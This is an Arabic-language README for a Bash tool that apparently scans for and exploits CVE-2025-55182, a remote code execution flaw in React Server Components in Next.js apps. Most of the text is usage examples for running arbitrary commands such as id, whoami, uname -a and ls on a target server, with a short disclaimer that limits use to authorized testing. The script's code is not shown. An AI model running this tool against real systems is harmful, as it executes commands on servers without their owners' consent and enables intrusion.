ماسح CVE-2025-55182

أداة بسيطة تعمل عبر سطر الأوامر لاكتشاف واستغلال CVE-2025-55182 (تنفيذ التعليمات البرمجية عن بُعد في مكونات خادم React) في تطبيقات Next.js.

التثبيت

chmod +x scanner.sh

الاستخدام

# Scan with default command (id)
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d example.com -c "whoami"

# With full URL
./scanner.sh -d https://example.com -c "uname -a"

الخيارات

• -d, --domain - النطاق/الرابط المستهدف (مطلوب)
• -c, --command - الأمر المراد تنفيذه (الافتراضي: id)

أمثلة

# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com

# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"

# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"

المتطلبات

• Bash
• curl
• openssl

إخلاء المسؤولية

هذه الأداة مخصّصة لأغراض الاختبار الأمني التعليمي والمصرّح به فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.

المراجع

• CVE-2025-55182
• نشرة أمنية من React